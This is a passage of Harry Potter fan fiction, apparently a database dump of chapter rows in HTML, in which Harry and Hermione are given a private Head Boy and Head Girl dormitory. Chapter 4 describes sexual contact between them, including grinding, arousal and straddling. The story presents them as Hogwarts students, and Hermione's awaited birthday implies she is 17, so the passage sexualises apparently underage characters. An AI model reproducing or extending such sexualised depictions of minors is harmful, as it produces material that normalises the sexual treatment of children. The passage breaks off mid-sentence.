</p>\n\n<p>&#8220;It&#8217;s ok Hermione,&#8221; he said, trying not to sound too disappointed. &#8220;You&#8217;ve done it to me before and I managed. I don&#8217;t think it&#8217;s going to be any different now.&#8221;</p>\n\n<p>Hermione cocked her head to the side a bit while studying Harry&#8217;s eyes. Harry said he was ok with it, but his eyes were saying otherwise. She knew how much he hated it when she turned him on like that with nothing to really use it on. But nonetheless, just accepted his answer.</p>\n\n<p>&#8220;Right,&#8221; she said. &#8220;Well I need to go to a meeting with Dumbledore. Head Girl duties.&#8221; Harry looked slightly upset.</p>\n\n<p>&#8220;Can&#8217;t I come?&#8221; he asked moving in toward her. &#8220;No pun intended?&#8221;</p>\n\n<p>&#8220;Harry!&#8221;</p>\n\n<p>&#8220;I&#8217;m just kidding sweetie,&#8221; Harry said, getting rid of the dirty look in his eye.</p>\n\n<p>&#8220;Bye,&#8221; he said gently, leaning his head in toward her.</p>\n\n<p>&#8220;Bye Harry,&#8221; Hermione managed to say in a whisper before Harry leaned in and gave her the signature kiss. Before parting, Harry gave her an extra kiss on the cheek. She smiled at him as she backed away and was gone through the portrait hole. </p>\n\n'),
	(185, 2, '\n\n<b><p align="CENTER">Chapter 2 - The Meeting</p>\n</b>\n<p>&nbsp;</p>\n<p>Harry woke the next Saturday morning feeling very refreshed and rested. He wasn&#8217;t surprised that Ron wasn&#8217;t in bed; he was probably out with Adelle somewhere, snogging. He got dressed and headed down to the Gryffindor common room.  Sure enough, he found Ron there along with Adelle, kissing. Harry shook his head and chuckled softly when he saw them and walked right behind the couch they were sitting on. He made a long and exaggerated clearing of his throat that made Ron immediately jump off of Adelle.</p>\n\n<p>&#8220;Well, well, well,&#8221; said Harry teasingly, &#8220;look at what we have here.&#8221;</p>\n\n<p>&#8220;Harry, don&#8217;t ever do that again!&#8221; cried Ron, as he and Adelle managed to straighten out their clothes.</p>\n\n<p>&#8220;Yes Harry,&#8221; added Adelle.  &#8220;You gave us such a fright!&#8221;</p>\n\n<p>&#8220;Sorry,&#8221; apologized Harry, &#8220;but I couldn&#8217;t resist the moment.&#8221; Ron playfully smacked Harry in the arm as Hermione came down from the girls&#8217; dormitories.</p>\n\n<p>&#8220;What&#8217;s going on here?&#8221; she asked in a Professor McGonagall sort of voice.</p>\n\n<p>&#8220;Ron and Adelle were just -&#8221;</p>\n\n<p>&#8220;Talking,&#8221; Ron interjected. Harry quickly looked at him and gave him a puzzling look, but realized what was happening.</p>\n\n<p>&#8220;Right,&#8221; said Harry slowly.  &#8220;They were talking&#8230; if that&#8217;s what you call talking&#8230;&#8221; Harry mumbled the last part under his breath and got smacked in the arm by Ron again. </p>\n\n<p>&#8220;What was that Harry?&#8221; asked Hermione.</p>\n\n<p>&#8220;Nothing,&#8221; said Harry as he rubbed his arm. Adelle spoke for the first time.</p>\n\n<p>&#8220;Well I need to be going Ron,&#8221; she said, looking slightly embarrassed. &#8220;I&#8217;ll see you later?&#8221;</p>\n\n<p>&#8220;Of course you will Dell,&#8221; he answered, giving her a nod.</p>\n\n<p>&#8220;Ok,&#8221; she replied giving him a small kiss. Soon after, she was gone. Ron turned back to Harry and Hermione who were staring at him with astonished looks on their faces. They were however, slightly amused.</p>\n\n<p>&#8220;What!?&#8221; he told them, holding his hands out to the side.  Harry and Hermione turned toward each other at the same time and turned back to Ron at the same time.</p>\n\n<p>&#8220;Nothing,&#8221; they both replied in unison.  Ron glared at the both of them for a moment, then dismissed the whole situation.</p>\n\n<p>&#8220;Anyway, what&#8217;s up?&#8221; Ron asked them.</p>\n\n<p>&#8220;Well,&#8221; started Hermione; she looked towards Harry for a bit, then back at Ron. &#8220;I need to say good morning to Harry.&#8221;</p>\n\n<p>&#8220;Ohhh,&#8221; said Ron smiling. &#8220;I see. Well, I&#8217;ll leave you two alone for now. There&#8217;s something I need to do anyway. Bye!&#8221;  He turned on his heel and walked out of the common room. They could hear his chuckling and mutter &#8220;Oh those two,&#8221; as he walked out. Harry turned to speak to Hermione</p>\n\n<p>&#8220;So what&#8217;s up Her -&#8221; but he was cut off because she immediately embraced Harry and attacked him with a kiss. Harry was surprised by this, but immediately gave into Hermione&#8217;s kiss. It didn&#8217;t even start off passionately like it always did. It went straight into the aggression stage, as if they hadn&#8217;t kissed in a century.</p>\n\n<p>&#8220;Morning&#8230;Harry,&#8221; Hermione moaned in between two kisses before going back full on into it. About a second later, they stopped kissing, with their foreheads touching, to catch their breath.</p>\n\n<p>&#8220;Morning Hermione,&#8221; Harry managed to say. He was gasping for air just like Hermione was then  they immediately went back to kissing after Harry&#8217;s statement. After awhile of smashing faces together, they stopped.</p>\n\n<p>&#8220;Some way to say good morning,&#8221; said Harry, still gasping for air.</p>\n\n<p>&#8220;Yeah,&#8221; replied Hermione, breathing at the same tempo as Harry was.  &#8220;You&#8217;d be surprised at the dream that I had last night. When I woke up, I had to kiss you.&#8221;</p>\n\n<p>&#8220;Please Hermione, don&#8217;t tell me the dream. Or I may be forced to do something that I may regret.&#8221;</p>\n\n<p>&#8220;Ok, I won&#8217;t. But I will say that I&#8217;ve never been so hot in the morning in my entire life,&#8221; said Hermione seductively. Harry gulped.</p>\n\n<p>&#8220;Hermione please. Not now,&#8221; he said, breaking out into a sweat.</p>\n\n<p>&#8220;Ok fine,&#8221; said Hermione, knowing that it would be best. &#8220;Besides, we have some sort of meeting with Professor Dumbledore.&#8221;</p>\n\n<p>&#8220;Both of us?&#8221; asked Harry, raising his eyebrows. &#8220;Why?&#8221;</p>\n<p>&#8220;I have no idea,&#8221; said Hermione. &#8220;I&#8217;m hoping that it has something to do with Head Boy and Head Girl duties.&#8221;</p>\n\n<p>&#8220;I hope you&#8217;re right.&#8221;</p>\n\n<p>***</p>\n\n<p>After passing by the gargoyle after saying the password (doughnut holes), the two of them walked up the moving spiral staircase that lead them to Dumbledore&#8217;s office. Harry knocked twice and there was an immediate answer.</p>\n\n<p>&#8220;Come in you two,&#8221; said a voice behind the door. Before walking in, Harry and Hermione looked at each other, wondering what Dumbledore could possibly want with them. They nervously walked into the office.</p>\n\n<p>&#8220;Ah, Mr. Potter and Ms. Granger,&#8221; said Professor Dumbledore, making movements with his hands to tell them to sit down. When they were seated, Dumbledore continued.</p>\n\n<p>&#8220;I have been watching the both of you recently,&#8221; he said. His sounded serious, like they had done something morally wrong. Harry felt the color drop from his face. His mind raced through thoughts about what he had done. Then he felt it, like being hit in the face with a brick.  Professor Dumbledore probably saw the two of them showing excess public display of affection. They were both Head Boy and Head Girl and they were supposed to be setting an example for everyone, not showing what a love scene in a movie would look like. With any luck, Dumbledore was probably ready to strip them of Head privileges. He looked over at Hermione and the look on her face showed that she was feeling the exact same thing. She looked like she was ready to cry.</p>\n\n<p>&#8220;Are the both of you quite all right?&#8221; asked Dumbledore, looking back and forth between the two over his half moon spectacles. &#8220;Are the both of you ill?&#8221;</p>\n\n<p>&#8220;No,&#8221; said Harry in a sick voice, &#8220;but I think that I&#8217;m going to be&#8230; fairly soon.&#8221;</p>\n\n<p>&#8220;Sorry Professor,&#8221; added Hermione in a same sick tone as Harry, &#8220;Please&#8230;continue.&#8221;</p>\n\n<p>&#8220;Very well,&#8221; he said. He had a gleam in his eye. &#8220;I have called the both of you here to tell you that your private dormitories have just about finished.&#8221;</p>\n\n<p>&#8220;Oh!&#8221; the both of them replied, feeling the color rise back into their faces.</p>\n\n<p>&#8220;Yes,&#8221; said Dumbledore, his eyes still gleaming. &#8220;The entrance to it is immediately too the left after entering the Gryffindor common room.&#8221;</p>\n\n<p>&#8220;But Professor,&#8221; said Harry with a bit of a stutter. &#8220;I know the common room very well. And to the immediate left of the portrait is a brick wall.&#8221;</p>\n<p>&#8220;I am aware of that Mr. Potter.&#8221;</p>\n\n<p>&#8220;That can&#8217;t be a room can it?&#8221;</p>\n\n<p>Dumbledore smiled at him. &#8220;I will say, Mr. Potter, that I am impressed with how your mind works and your excellence in short term memory. Just remember Mr. Potter, that this is a <i>magical </i>school. The password is &#8216;prime example&#8217;.&#8221;</p>\n\n<p>Hermione slapped Harry in the arm as if to say, &#8216;how can you be so <i>stupid</i>!&#8221;</p>\n\n<p>&#8220;You may both go and see it now, if you wish.&#8221;</p>\n\n<p>&#8220;Yes Professor,&#8221; said Harry, rubbing his arm the Hermione had hit. Before the two of them had reached the door, Dumbledore called them again.</p>\n\n<p>&#8220;Just a minute you two. I almost forgot,&#8221; he said. The both of them turned around. </p>\n\n<p>&#8220;There a few rules that I forgot to mention.&#8221;  The seriousness came back and was shown on his face. This got both of their attention once again.</p>\n\n<p>&#8220;First, no one, by any means, is to go into that room other than you two. Second, everyone knows that there is a room for Head Boy and Head Girl, it&#8217;s just that everyone doesn&#8217;t know where it is. I trust that you two will keep that secret?&#8221;</p>\n\n<p>They both nodded.</p>\n\n<p>&#8220;Good,&#8221; continued Dumbledore smiling, again with a gleam in his eye. &#8220;I knew I could trust the both of you. And third, due to certain circumstances, and the fortunate title you two have, I want you two to treat that room with respect.&#8221;</p>\n\n<p>&#8220;I don&#8217;t understand Professor,&#8221; said Harry, noticing a small smile in Dumbledore&#8217;s face that soon faded. He stood up before speaking again.</p>\n\n<p>&#8220;All I&#8217;m saying Mr. Potter, is now that you and Ms. Granger have become quite the couple here at Hogwarts and coincidently becoming Head Boy and Head Girl and obtaining its private room, I want you two to act mature and responsible in it and I don&#8217;t want any&#8230;unnecessary activity&#8230;going on in there that will make me regret giving the room to you two.&#8221;</p>\n\n<p>Harry and Hermione both bushed scarlet at the same time knowing what Dumbledore was talking about, and giving him a look of understanding.</p>\n\n<p>&#8220;I will, however, not tell you what you can and cannot do in that room as it now rightfully belongs to the both of you. I also know that since you two are in a very serious relationship, it will be hard to follow that last rule and I will let it slide slightly. I just want control. Do I make myself clear?&#8221; Professor Dumbledore said in a final way.</p>\n\n<p>&#8220;Yes Professor,&#8221; said Harry, still slightly red.</p>\n\n<p>&#8220;There was a problem here years ago, Mr. Potter,&#8221; added Dumbledore, &#8220;that involved your parents in a similar situation and almost getting them expelled. I do not want that happening again.&#8221; </p>\n\n<p>&#8220;Yes Professor,&#8221; Harry said again.</p>\n\n<p>&#8220;We understand,&#8221; added Hermione.</p>\n\n<p>&#8220;Very well,&#8221; said Dumbledore. &#8220;You may now leave&#8230;and have fun you two,&#8221;</p>\n\n<p>&#8220;Thanks Professor,&#8221; answered Harry.</p>\n\n\n'),
	(185, 3, '\n\n<b><p align="CENTER">Chapter 3 - Immaturity</p>\n</b>\n<p>&nbsp;</p>\n<p>Harry and Hermione entered Gryffindor common room to find Ron and Adelle once again going at it. Harry stopped and paused for a moment to watch.</p>\n\n<p>&#8220;Tell me something Hermione,&#8221; Harry whispered to her casually while rubbing his chin. &#8220;Do <i>we </i>look like that when we kiss?&#8221;</p>\n\n<p>&#8220;Of course not Harry,&#8221; she whispered back, grabbing hold of his arm and snuggling up next to him. &#8220;When we kiss, we at least show class.&#8221;</p>\n\n<p>&#8220;That&#8217;s what I thought,&#8221; whispered Harry smiling. He turned to his right to meet Hermione&#8217;s eyes. It looked even more beautiful when he saw them while she smiled at him. That smile of hers was a killer too. It made Harry tingle all over every time he saw it. Even from 1st year, Hermione&#8217;s best attribute, besides her brain, was her smile. And he knew for a fact, that he wasn&#8217;t the only one to think that.</p>\n\n<p>&#8220;Then why don&#8217;t we show them what a real kiss is supposed to look like?&#8221; said Harry, he eyes getting a very hopeful look. Hermione laughed through her nose and leaned up to him giving him the signature kiss. After Harry had held Hermione on the back of the head and rested his forehead on hers, Hermione immediately whispered, &#8220;One more time Harry.&#8221;</p>\n<p>After taking a couple of breaths, he leaned in again and gave her what she wanted. If there was one thing that he enjoyed, it was being with Hermione and kissing her passionately. Their signature kiss was the most passionate way they kissed. It wasn&#8217;t that Harry didn&#8217;t like the aggressive kisses, he loved them as much as the passionate ones; he just preferred the passionate ones. That was another thing that was great about their relationship: they had variety. As they stood in their finished position (Harry holding Hermione behind the head with both hands, after kissing her on the forehead and resting his on hers with both their eyes closed), they heard a familiar voice.</p>\n\n<p>&#8220;Well, well, well,&#8221; said Ron in a well-look-at-what-we-have-here tone. Harry and Hermione didn&#8217;t really seem to care; they stayed in their finished position.</p>\n\n<p>&#8220;Leave them alone Ron,&#8221; said Adelle, wrapping both arms around him. &#8220;They didn&#8217;t bother us when we were kissing.&#8221;</p>\n\n<p>&#8220;I guess you&#8217;re right Adelle,&#8221; he said. &#8220;Where would I be without you?&#8221;</p>\n\n<p>&#8220;Probably in the bathroom all by yourself masturb-&#8221;</p>\n\n<p>&#8220;Shut up Adelle!&#8221; cried Ron, playfully pushing her away from him. She giggled back and held on to him again as the both of them brought they&#8217;re attention back to Harry and Hermione. Surprisingly, the both of them hadn&#8217;t moved. They stood really close to each other in the finished position and the both of them were breathing heavily. They didn&#8217;t seem to care that they were being watched. It was as if they were in their own world. Finally, Harry released his hold on Hermione, but still had their eyes closed and foreheads touching. Harry moved his head to one of Hermione&#8217;s ears and whispered something to her. It must&#8217;ve been something because she gulped after she had heard him. Then at last, Harry turned to Ron and Adelle.</p>\n\n<p>&#8220;Sorry about that you guys,&#8221; he said, blushing a little. &#8220;I was sort of preoccupied.&#8221;</p>\n\n<p>&#8220;It&#8217;s ok Harry,&#8221; replied Ron, &#8220;I know what it feels like to like someone so much to a point that you don&#8217;t care about anything else.&#8221; Hermione smiled at him.</p>\n\n<p>&#8220;Thanks Ron, I&#8217;m glad you understand.&#8221;</p>\n\n<p>&#8220;Anytime mate!&#8221; he said, giving him a playful punch on the shoulder.</p>\n\n<p>&#8220;So what are you two up to?&#8221; asked Adelle.</p>\n\n<p>&#8220;Well,&#8221; said Hermione, &#8220;we just met with Professor.&#8221;</p>\n\n<p>&#8220;About?&#8221; asked Adelle looking anxious.</p>\n\n<p>&#8220;At first we thought we were in trouble for going way over the line of public display of affection.&#8221; said Hermione as-a-matter-of-factly.</p>\n\n<p>&#8220;It wasn&#8217;t?&#8221; said Ron.</p>\n\n<p>&#8220;Nope,&#8221; answered Harry.</p>\n\n<p>&#8220;Well I wouldn&#8217;t be surprised if it was,&#8221; said Ron, raising his eyebrows. &#8220;I mean, every time I see you two together, you two kiss <i>at least twice!</i>&#8221;</p>\n\n<p>&#8220;Wait!&#8221; yelled Adelle, her eyes lighting up. &#8220;I know what it is! It&#8217;s about the Head Boy and Head Girl private dormitory isn&#8217;t it!?&#8221;</p>\n\n<p>&#8220;That&#8217;s right Adelle,&#8221; answered Hermione. Ron burst out laughing. &#8220;What?&#8221;</p>\n\n<p>&#8220;You two&#8230; with a room all to yourselves&#8230; alone? <i>That&#8217;s something! </i>Now we&#8217;ll get to see why they call it the <i>Head </i>Boy and <i>Head</i> Girl Dormitories!&#8221; exclaimed Ron in almost a laugh.</p>\n\n<p>&#8220;Ron!&#8221; yelled Adelle and Hermione at the same time. Hermione looked to toward Harry to see if maybe he would talk some sense into him, only to find that he was laughing as well.</p>\n\n<p>&#8220;Harry!&#8221; exclaimed Hermione, crossing her arms. &#8220;That is not funny!&#8221;</p>\n\n<p>&#8220;It most certainly isn&#8217;t!&#8221; added Adelle, putting her hands on her hips. But Harry and Ron weren&#8217;t listening. They were busy laughing and pushing the subject.</p>\n\n<p>&#8220;So that&#8217;s why they call the position <i>Head</i> Girl!&#8221; laughed Harry.</p>\n\n<p>&#8220;Yeah!&#8221; said Ron, laughing along with him. &#8220;Kind of has a <i>new</i> meaning to <i>Head</i> Girl doesn&#8217;t it? I bet the <i>Head</i> Girl must really be something to be called that!&#8221; With that, the two boys&#8217; burst with laughter, holding their gut.</p>\n\n<p>&#8220;<i>Honestly!&#8221; </i>exclaimed Hermione impatiently, turning her head away from them.</p>\n\n<p>&#8220;They are <i>so</i> immature!&#8221; said Adelle.</p>\n\n<p>&#8220;I&#8217;m sorry love,&#8221; said Ron, recovering from laughing and rubbing his eyes.</p>\n\n<p>&#8220;Yeah, I&#8217;m sorry too,&#8221; said Harry, looking over at Hermione</p>\n\n<p>&#8220;How dare you call me that after what you just said!&#8221; shouted Adelle toward Ron. She looked livid. And she stormed out of the common room with another word.</p>\n\n<p>&#8220;Adelle! Wait!&#8221; shouted Ron, running after her, closing the Fat Lady portrait behind him.</p>\n<p>Hermione beamed at Harry, who was still chuckling from the situation.</p>\n\n<p>&#8220;I&#8217;m ashamed of you Harry!&#8221; she said with a hint of rage in her voice, eyeing him angrily.</p>\n\n<p>&#8220;Really Hermione, I&#8217;m sorry,&#8221; he said looking into her eyes, and he meant it. Hermione read his eyes like a book, searching for at hint that maybe he was just saying that and not meaning it. She was surprised not to find anything, but the look of truth. She however, wasn&#8217;t going to let him win that easily.</p>\n\n<p>&#8220;Whatever Harry,&#8221; snapped Hermione, desperately trying to show that she had not forgiven him even though she really had. </p>\n\n<p>&#8220;Do you forgive me?&#8221; asked Harry, putting on a will-you-forgive-me face.</p>\n\n<p>&#8220;No Harry I don&#8217;t,&#8221; said Hermione. &#8220;I&#8217;ll never forgive you for that.&#8221; She turned away from him, showing him her back. Harry sighed in failure. He maybe had one last chance. </p>\n<p>He walked around Hermione so that he could see her front. She didn&#8217;t look up at him, but continued to stare at the ground, still with the unmistakably angry look on her face. He took his hand and gently put it under her chin, making her look up at him. Surprisingly, she didn&#8217;t resist, still having the upset look. </p>\n\n<p>&#8220;There&#8217;s nothing you can do to change my mind Harry,&#8221; she stated. Harry sighed, hoping that maybe she was wrong. He leaned in to her and kissed her softly on her temple, then slowly, kiss after kiss, made his way down to her cheek.</p>\n\n<p>&#8220;Forgive me?&#8221; he said in a begging way.  Hermione stood with an expressionless face.  He kissed her softly on the cheek again.</p>\n\n<p>&#8220;Forgive me?&#8221; he repeated in the same begging tone, kissing her softly on the nose.  Hermione refused to give in so Harry continued little by little until he came right before her lips.</p>\n\n<p>&#8220;Forgive me?&#8221; he said again softly before brushing his lips against hers. He pulled away slowly but Hermione pushed her face back into him kissing him again. Harry looked at her when she pulled away. She wasn&#8217;t smiling, but she did look happy.</p>\n\n<p>&#8220;Except that!&#8221; Hermione exclaimed. And finally it came; her wonderful smile. And he hugged him, as if to seal the forgiveness.</p>\n\n<p>&#8220;We should check out our new dormitories Harry,&#8221; she said, still embracing him. &#8220;Aren&#8217;t you excited!?&#8221;</p>\n\n<p>&#8220;Ecstatic,&#8221; replied Harry in a half ecstatic, half not caring way. He was just happy about Hermione forgiving him.</p>\n\n\n'),
	(185, 4, '\n\n<b><p align="CENTER">Chapter 4 - Head Boy and Head Girl Dormitories</p>\n</b>\n<p>&nbsp;</p>\n<p>Harry and Hermione went to the brick wall to their left and stared at each other in confusion. This was a room? Probably not a very good looking one by any chance. They looked around the common room to see if anyone was there. When he and Hermione confirmed that the coast was clear, Harry whispered the password, just in case if anyone was around.</p>\n\n<p>&#8220;Prime example,&#8221; whispered Harry. The wall made a sudden movement and three holes appeared on wall, two medium oval ones on the top, and a crescent moon shaped one on the bottom.</p>\n\n<p>&#8220;Well,&#8221; yawned the wall. &#8220;I see that you two finally came. Professor Dumbledore has told me all about you. Harry Potter and Hermione Granger is it?&#8221;</p>\n\n<p>They both nodded slowly. It was weird having a wall talk to them.</p>\n\n<p>&#8220;I&#8217;m Wally by the way,&#8221; he said, his two oval holes for eyes to seemingly move back and forth from Harry to Hermione.</p>\n\n<p>&#8220;H-hello Wally,&#8221; squeaked Hermione, waving her hand subconsciously at a wall.</p>\n\n<p>&#8220;I&#8217;m sorry, but my ears aren&#8217;t what they used to be one thousand years ago. Could you please repeat the password for me?&#8221; asked Wally.</p>\n\n<p>&#8220;S-sure,&#8221; said Harry, thinking how a wall could possibly have ears. &#8220;P-prime example.&#8221;</p>\n\n<p>After Harry had said these words, the three holes that made up Wally&#8217;s face disappeared and the brick wall glowed a brighter red than it originally was. Then with a blink of an eye, the brick wall had vanished, leaving an opening about the size of the doorway so that they could pass. With a breath of courage, Harry grabbed Hermione&#8217;s and stepped cautiously into the doorway. To no surprise, nothing had happened, but neither of them cared when they gazed their eyes on the Head Boy and Head Girl room.</p>\n\n<p>They were looking at the Head&#8217;s common room. It wasn&#8217;t as big as the Gryffindor common room but it was a lot bigger than expected. The room was a gold and red color, probably because it was matching the Gryffindor colors. Directly in front of them was a love seat with a single-person sofa on its left. The chairs glowed a reddish color because they were facing the fireplace that was lighting them dimly. To their left were two small empty bookshelves for storing (you guessed it) books. To their right were three more doors. The one on the left had &#8220;Harry Potter&#8221; written in calligraphy and the one on the right said &#8220;Hermione Granger&#8221; also written in calligraphy. The door in the middle had the words &#8220;bathroom&#8221; written on it.</p>\n\n<p>Harry looked at Hermione. She seemed very pleased with their new quarters. </p>\n\n<p>&#8220;Come on,&#8221; said Harry, grabbing her behind the elbow and dragging her to the sofas in front of them. The fireplace seemed a lot bigger than it really was from where they were originally looking at it. In front of the sofas, there was a small coffee table on top of a rug that said &#8220;Gryffindor&#8221; on it. Harry sat Hermione on the love seat while he sat himself on the one-person sofa. Hermione looked almost upset.</p>\n\n<p>&#8220;Aren&#8217;t you going to sit by me Harry?&#8221; she asked. Harry sighed and sat himself next to Hermione. She immediately snuggled up against him.</p>\n\n<p>&#8220;Isn&#8217;t this great Hermione?&#8221; said Harry, staring into the fire.</p>\n\n<p>&#8220;It sure is,&#8221; replied Hermione. &#8220;I can&#8217;t believe it. It&#8217;s like a dream come true.&#8221; Harry jerked his head toward her.</p>\n\n<p>&#8220;Dream come true?&#8221; said Harry, raising his eyebrows. &#8220;You dreamed of something like this?&#8221;</p>\n\n<p>&#8220;Maybe,&#8221; said Hermione, slightly blushing. Harry chuckled.</p>\n\n<p>&#8220;Well I have to admit, it&#8217;s going to be really hard to follow the rules. Even for you.&#8221;</p>\n\n<p>&#8220;I know,&#8221; said Hermione. &#8220;But didn&#8217;t Dumbledore say that he would let it slide a little?&#8221;</p>\n\n<p>&#8220;He did. But don&#8217;t let it get carried away,&#8221; said Harry, beginning to sound like Hermione and turning his head back to the fire. &#8220;You heard what Dumbledore said. My parents almost got expelled for doing something.&#8221;</p>\n\n<p>&#8220;I wonder what it could possibly be?&#8221; asked Hermione in a mysterious tone.</p>\n\n<p>&#8220;To tell you the truth, I really don&#8217;t want to know.&#8221;</p>\n\n<p>&#8220;Must&#8217;ve been something <i>really</i> kinky to have to be expelled.&#8221;</p>\n\n<p>Harry looked at Hermione again. She no longer looked serious and stern, but she had a really dirty look in her eye and she licked her lips at him. Harry gulped, feeling a stirring in his pants and shifting uncomfortably to a new position. Hermione giggled, her dirty look fading away.</p>\n\n<p>&#8220;I&#8217;m sorry Harry,&#8221; she said.</p>\n\n<p>&#8220;<i>Don&#8217;t do that!?&#8221; </i>Harry exclaimed. &#8220;I hate it when you tease me like that!&#8221;</p>\n<i>\n</i><p><i>&#8220;I&#8217;m sorry Harry!&#8221; </i>she exclaimed in sort of a laugh.<i> </i>&#8220;I think it&#8217;s fun!&#8221;</p>\n<p>&#8220;It&#8217;s not <i>fun </i>when you&#8217;re all hot inside and can&#8217;t do anything about it!&#8221;</p>\n\n<p>&#8220;Harry,&#8221; said Hermione in a serious voice. All trace of laughter and playfulness was gone. &#8220;I&#8217;m sorry.&#8221; She leaned in and gave him a soft kiss on the cheek. Harry couldn&#8217;t resist the kiss.</p>\n\n<p>&#8220;I forgive you,&#8221; he said closing his eyes and giving a small smile.</p>\n\n<p>***</p>\n\n<p>Harry and Hermione spent the entire weekend inside the privacy of there own dormitories. Surprisingly, there wasn&#8217;t one moment of passion in the room. Harry noticed this and started to feel rejected by Hermione, yet he felt turned on whenever he looked at her. She made small things like reading a book look sexy and he took an excessive amount of effort to stop himself from jumping on Hermione.</p>\n\n<p>Soon after they had gotten settled into their rooms, Harry got out of his room to use the bathroom when he froze and caught Hermione in a very arousing position. He couldn&#8217;t help but stare. She was lying on her stomach near the fire for warmth and she was propped up on her elbows as her eyes moved back and forth across a book that Harry didn&#8217;t care about at the moment. Her legs were bent at the knees and crossed at the ankles and she subconsciously bent and straightened her legs as she read. The thing that made it hotter for him was that she was wearing her Hogwarts uniform without her robes, complete with her skirt. He was surprised that her skirt remained in the same position considering the way she was moving her legs. There was something about Hermione in uniform that drove him crazy. Harry had to breath slowly to control himself. Then, he almost died when Hermione noticed him.</p>\n\n<p>&#8220;What are you staring at now Harry?&#8221; she asked as she turned her head around to him.</p>\n\n<p>&#8220;N-nothing,&#8221; Harry lied.</p>\n\n<p>&#8220;You&#8217;re lying,&#8221; she said, shaking her head.</p>\n\n<p>&#8220;Well I&#8217;m sorry if you keep doing that!&#8221; exclaimed Harry. He was beginning to get upset with her.</p>\n\n<p>&#8220;Come here Harry,&#8221; she said, crooking a finger at him. Harry sighed exasperatedly as he walked up to her and stood by her side looking down at her impatiently.</p>\n\n<p>&#8220;Stand over there,&#8221; she said pointing to her finger in the 10 o&#8217;clock position as she continued to lie on the ground. Harry grunted and did what he was told, thinking where the heck this was going. He stood where she had said and crossed his arms and stared blankly to his left.</p>\n\n<p>&#8220;Look at me Harry,&#8221; Hermione said softly. He did and immediately all the anger fell from his body and he felt turned on again. From where he was standing, he could examine every curve of Hermione&#8217;s body. He knew that she had the intention to make him stand where he was for a reason. Harry had to again control himself as he saw Hermione give him her dirty look.</p>\n\n<p>&#8220;Do you like what you see?&#8221; she said in a flirtatious tone, continuing to bend and straighten her legs slowly in a sexier way than before, still with the dirty look in her eyes. She licked her lips at him, waiting for a response. </p>\n\n<p>Harry didn&#8217;t respond. He couldn&#8217;t. He seemed to have lost his voice somewhere when she had eyed him naughtily, talked in a sexy voice, or moved her legs swiftly through the air.</p>\n\n<p>&#8220;Is not talking a way of you saying &#8216;yes&#8217;?&#8221; asked Hermione in the same teasing voice. Harry could only nod. &#8220;Do to me as you please Harry.&#8221;</p>\n\n<p>Harry&#8217;s eyes widened at the way she had said her last statement. Obviously, he couldn&#8217;t <i>do it </i>with her because he would trigger a curse to Hermione. And Dumbledore told them himself, not to do any &#8220;unnecessary activities&#8221;. Still, something about being told not to fool around in a room, made him want to fool around in it even more. And there was something very sexy about breaking that rule.</p>\n\n<p>Harry ignored his conscience and walked toward Hermione. He looked down at her and wet his lips before straddling one leg over her, lay his body on top of her, and leaned his body against hers. He scooted his body forward a bit till he knew he was close enough. He nibbled on Hermione&#8217;s ear in a teasing way to let her know to look in that direction for him. Hermione moaned with pleasure as Harry played with her ear, feeling his tongue run over it.</p>\n\n<p>Harry went from ear nibbling to a full-blown kiss as he made contact with Hermione&#8217;s lips, kissing her over her shoulder. One hand was on her other shoulder while his other was caressing her thigh. As they kissed arousingly, Harry couldn&#8217;t help but rub into Hermione, through the front of his pants and through the back of her skirt. Hermione moaned against Harry&#8217;s kiss as she felt him rub slower, but harder and harder into her. </p>\n<p>Filled with sexual adrenaline and a cloudy mind, Harry put both arms around Hermione&#8217;s waist and heaved her up, not breaking the kiss. He pushed her gently to the couch and before he reached it, Harry went from Hermione&#8217;s back, to her front, still not breaking the kiss. He grabbed the collar of her blouse and sat on the couch, slowly pulling her down with him. Hermione helped and lowered herself onto Harry&#8217;s lap, bending her knees and putting them on either side of his thighs, straddling him.</p>\n\n<p>&#8220;Mmmm&#8230;oh Harry,&#8221; she moaned between kisses, again rubbing against him through her skirt.</p>\n\n<p>&#8220;Hermione&#8230;&#8221; he managed to say, still kissing her passionately with a bit of force, pressing so hard into her face that he felt like his lips would bruise. He stopped kissing her lips to move to her supple neck, at first kissing it softly, then using his tongue to pleasure it. Hermione gasped with pleasure and put an arm around him and a hand on the back of his head as if to lock him in place. She squirmed and sighed as Harry continued. He heard sounds from her he had never heard before and it was turning him on more and more. </p>\n\n<p>Still, in the heat of it all, it was as if something had slapped him hard in the face. This feeling made him stop and pull away from Hermione instantly.</p>\n\n<p>&#8220;Why&#8217;d you stop Harry?&#8221; begged Hermione, still breathing hard. Her face was filled with methodical lust. That look made Harry want to attack her again, but that feeling quickly passed.</p>\n\n<p>&#8220;Hermione&#8230;we can&#8217;t,&#8221; said Harry softly. &#8220;We could end up doing something that we my regret later.&#8221;</p>\n\n<p>The look on Hermione&#8217;s face looked like she didn&#8216;t care if the worst thing would happen to them if they did it. But being the person she was, she thought otherwise.</p>\n\n<p>&#8220;I know Harry,&#8221; replied Hermione. &#8220;But I want it so bad.&#8221;</p>\n\n<p>&#8220;Not as bad as I do,&#8221; he said, raising his eyebrows, and eyeing himself to look below his waist. Hermione giggled slightly when she noticed where Harry was looking. &#8220;But we&#8217;re just going to have to wait till your birthday. I mean&#8230;if you&#8217;re ready.&#8221;</p>\n\n<p>&#8220;Of course I&#8217;m ready!&#8221; exclaimed Hermione. &#8220;I love you Harry.&#8221;</p>\n\n<p>&#8220;I love you too Hermione,&#8221; said Harry. &#8220;But we are going to have to wait. I don&#8217;t want to trigger that chastity curse.&#8221;</p>\n\n<p>Hermione nodded, her eyes becoming glossy.</p>\n\n<p>&#8220;Besides Harry,&#8221; she said with a smile, &#8220;it&#8217;s only our first week of school. My birthday is&#8230; just around the corner.&#8221;</p>\n\n<p>&#8220;I know. The closer it comes, the harder it is to control myself!&#8221;</p>\n\n<p>&#8220;Trust me Harry. It&#8217;ll be worth the wait.&#8221;</p>\n\n<p>Harry confirmed with a nod.</p>\n\n<p>***</p>\n\n<p>That night, after kissing Hermione good night and seeing her off to bed, the urge to join her was immense. The look in his eye gave it away. Hermione saw it quickly as she lay in her bed and stared at Harry.</p>\n\n<p>&#8220;No Harry,&#8221; she simply put.</p>\n\n<p>&#8220;What?&#8221; said Harry, pretending that he didn&#8217;t have any intentions on his mind.</p>\n\n<p>&#8220;I&#8217;m not stupid Harry,&#8221; she said in a stiff tone. &#8220;I know what you&#8217;re thinking and the </p>\n<p>answer is &#8216;no&#8217;.&#8221;</p>\n\n<p>&#8220;What was I thinking then?&#8221; he asked, giving her a playful no teethed grin.</p>\n\n<p>&#8220;Well by what your eyes tell me,&#8221; she said, as if remembering information from a book, &#8220;you 